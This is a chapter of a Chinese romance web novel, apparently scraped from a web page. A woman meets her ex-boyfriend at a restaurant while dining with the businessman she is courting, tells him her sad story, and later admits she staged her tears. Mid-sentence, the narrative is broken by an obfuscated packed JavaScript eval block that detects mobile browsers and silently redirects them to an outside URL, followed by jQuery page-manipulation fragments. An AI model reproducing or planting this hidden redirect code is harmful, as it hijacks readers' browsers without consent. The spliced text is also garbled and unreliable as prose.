乔今选的餐厅就在公司附近,新开的私房菜,环境很好。
菜品都是乔今选的,钟炳予吃饭时话更少,乔今也没故意挑话题,两人安安静静吃饭,氛围倒很默契。
一餐快结束时,隔几桌有服务生推去了一大捧鲜花和蛋糕。
桌上一对情侣不知是在过生日还是纪念日,总之女生的脸上满是感动和幸福的笑。
乔今撑着下巴非常沉浸地看完全程,眼神转回来时发现对面的钟炳予神色淡淡地坐在对面,似乎对见证他人的爱情丝毫不感兴趣。
“钟先生,你有喜欢过什么人吗?”
钟炳予动做一顿,认真想了下。
“什么叫喜欢?”
钟炳予二十九年的人生里,感情是完全缺席的一部分。
父母亲情只存在他六岁前的记忆里,之后便是钟子显代替他享受着一家三口的温情。
他孤独地成长,在成为人人仰视的钟氏掌权人之前,他甚至只有易岑和罗辛这两个朋友。虽然他身边一直不乏向他示好的异性,但大多数人所谓的喜欢都坚持不了多久。
说他薄情也好,冷漠也罢,但在他看来那些人所谓的真心,都是明码标价,带着十足十的目的,会在短暂受挫后,立刻止损。
依他看来,乔今的热情也坚持不了许久。
不过,对面的乔今并不知道他正在冷静盘算她的感情。
“喜欢呢,就是身体上忍不住靠近,心里上时时挂念,是不想他再多看其他异性一眼,是想将所有自己觉得最好的东西都捧到那人面前。”
钟炳予听过她的解释,非常干脆地回答:“没有。”
“怪不得。”
两人用餐已经结束,乔今准备叫服务员买单。
“您好,请问两位今天对本餐厅的菜品和服务还满意吗?”
乔今正低头拿卡,听到声音的一瞬间转过头来,对上一张笑容渐渐凝固的脸。
“怎么是你?”
季柯在认出乔今的瞬间,双唇猛地抿紧,他深深看着她,几秒钟的时间,仿佛过去了几个世纪。
“是我,好久不见。”
乔今不过愣怔片刻,很快便整理好情绪,敷衍地笑笑。
“是很久了。”她上下粗略看他一眼,视线又转到店里的其他地方,“你在这家餐厅工作?”
“这家,是我开的。”
一直坐在对面的钟炳予抬手招来服务员,默默结完账也没急着走,很有耐心地等着眼前两人叙完旧。
但乔今显然没有继续聊的兴致,她拿起外套和挎包,先一步起身。
“哦,那恭喜你啊,再见。”乔今侧身,没擦到他分毫地离开。
钟炳予很配合地跟她一起,两人步伐一致走向门口,他推开餐厅门,就听到有人喊他们。
“等一下。”
身后传来急切的脚步,匆忙追过来的季柯手里提着一个礼品袋,递到乔今面前。
他眼里明显有千言万语,最后却也没说出什么。
“这是我们店给新顾客准备的礼物,收下吧。”
餐厅里出入那么多的食客,还没见哪位手里拿着东西出去的。
见乔今始终没接,钟炳予适时抬手收下:“谢谢。”
季柯这会儿才将目光放在这位跟乔今吃饭的男人身上。
容貌英俊,气度不凡,不过两人的相处方式倒并不像情侣。
“你们……”
“还有事吗?没事不要挡着路。”
乔今难得脸色很冷,抬手将挡在她面前的人格开,刚往前走了一步,又被人一把拉住手腕。
“能给我留个联系方式吗?你的号码换了。”
“松开!”乔今用力扭了扭手腕,季柯却纹丝不动,她便有些恼了,“季柯,你给我松手!”
两人拉扯间,另一只手握住了季柯的胳膊,手掌用力将人扯开。
钟炳予将乔今拉到自己身侧,语气带着警告。
“这位先生,再这样纠缠我的女伴我不介意报警。”
得了自由的乔今头都没回,拉着钟炳予转身直接离开。
两人上车前,乔今突然发问:“你不好奇我跟刚刚那个人是什么关系吗?”
“那是你的私事,与我无关。”
乔今没再说话,而是拿过他手中的礼品袋,看都没看里面是什么,直接扔到路边的垃圾桶里。
等坐上副驾她长长叹了口气,也不管钟炳予是不是想听,自顾自开始讲。
“季柯是我读大学时交的男朋友,我们谈了三年,他家里条件很差,单亲,父亲还身体不好,我为了照顾他可怜的自尊心,装穷装了三年。”
“为了他,我不再跟姐妹们扫街,也不跟发小聚会,空余时间总是陪他去兼职,大冬天的跟他挤最后一班公交,吃一份热热的糖炒栗子。”
钟炳予余光不自觉看了眼乔今,似乎很难将身边的这个人和她口中的那个人联系起来。
乔今冲他笑道:“很难想象吧,但那时候他对我也是真的好,不论刮风下雨都会来接我下课,兼职赚了钱就给我买礼物,虽然都是些便宜货,但我也挺喜欢的,有一次我得了急性胃炎,他背着我跑了一站多地,二月份的天,他急了一头的汗。”
“可在大四要毕业那年,他偶然知道了我的家境,然后,一切就都变了。”
车子已到公司楼下,乔今没有说完,钟炳予也没有打断她。
“他整整躲了我半个月,电话不接,人也不见,后来我将他堵在他宿舍楼下,他一句解释也没有,只说要跟我分手。”
“那时候我还不知道他为什么这么做,直到我听到了学校里的那些风言风语,什么穷小子傍上白富美,贫困生果然路子多,什么找好女朋友少走三十年弯路……”
乔今荒唐地笑出声,抬手将垂到额前的碎发一把拢到脑后,视线茫然地看向前方。
“他就因为别人的几句酸话,为了他可怜的自尊和面子,坚定的,一定要跟我分手,还美其名曰,我不该骗他。”
她的两行泪流得悄无声息,钟炳予递去纸巾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025988|194404||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她接过却没有擦,任凭泪滑到下巴滴落,再没入衣领。
“所以,这份感情只给你带来了一段痛苦的回忆。”他很冷静地给出结论。
“你是不是觉得,我很傻?”
从第一次见到乔今,钟炳予就知道她不是多简单的女人,在他面前能做到自信坦荡,聪颖又机敏,绝对跟傻攀不上关系。
只是,为一个男人伤心流泪成这样,确实不是什么精明的表现。
“可是感情就是这样啊,喜欢是不由人的,就像我现在对你一样。”
她脸上还残存着为另一个男人伤心而流的眼泪,却突然诉说对自己的喜欢。
钟炳予觉得她不傻,倒是像把他想得蠢了些。
脸上不自觉地就露出轻笑。
只是这笑意还没放大,就又收了回去。
他注意到乔今正目不转睛地盯着他,于是嘴角又恢复成一贯平静的弧度。
“钟先生,其实你笑起来真的很好看。”
钟炳予面无表情地推开车门下车,乔今亦步亦趋地跟在他后面,时不时凑上来又看看他的脸。
“你不爱笑真的是人间一大损失。”
她哭过的鼻子有点红,但人好像已经完全从刚刚的情绪抽离。
电梯升到二十四层,乔今似乎有点恋恋不舍,往外走了一步又停下。
“钟先生,我知道你压根不在乎我的喜欢,但我还是希望你不要小瞧它,轻视它。”
“爱是很珍贵的东西,没有人会轻易付出的。”
电梯门关闭,钟炳予默默盯着光洁的金属门板,似乎还在品她刚刚那几句话。
回家路上,孟筱打来电话约乔今周末去看电影,是俞天翔参演的一部男三民国剧。
乔今靠在车后座,指腹轻轻贴在眼皮上,很疲惫地拒绝。
“不去,周末他要做直播了,我正好看看效果。”
最近乔今比谁都忙,孟筱已经习惯了。
“哦,对了你跟那位钟总怎么样了,特意去他公司又是学习又是取经的,朝夕相处有什么进展没?”
“革命之路还很艰辛。”乔今睁开眼,捏住鼻梁,“我刚对着他演了一场痴情大戏,哭得眼睛疼。”
“哭?你怎么还哭了?”
遇到季柯对乔今来说不至于情绪流露到那个地步,实际上要不是在大庭广众,她没准儿第一时间会先甩他两个巴掌。
“跟他出去吃饭,刚好遇到前男友了,顺水推舟演了会情圣。”
“前男友,季柯?!”孟筱对这号人可是记忆尤深,当年乔今跟他分手后,身边的追求者一下多起来,各个高富帅还对她非常殷勤,哪个都比她那个前男友强百倍。
孟筱早都说那男人是个蠢货,没苦硬吃,放着这么好的女朋友不要,非要什么自尊和名声。
“他不是去广州那边了吗,怎么又回来了,你们见面说什么了?”
对面沉寂许久,乔今略微带笑的声音传来。
“你说,钟炳予吃起醋来,会是什么样子?”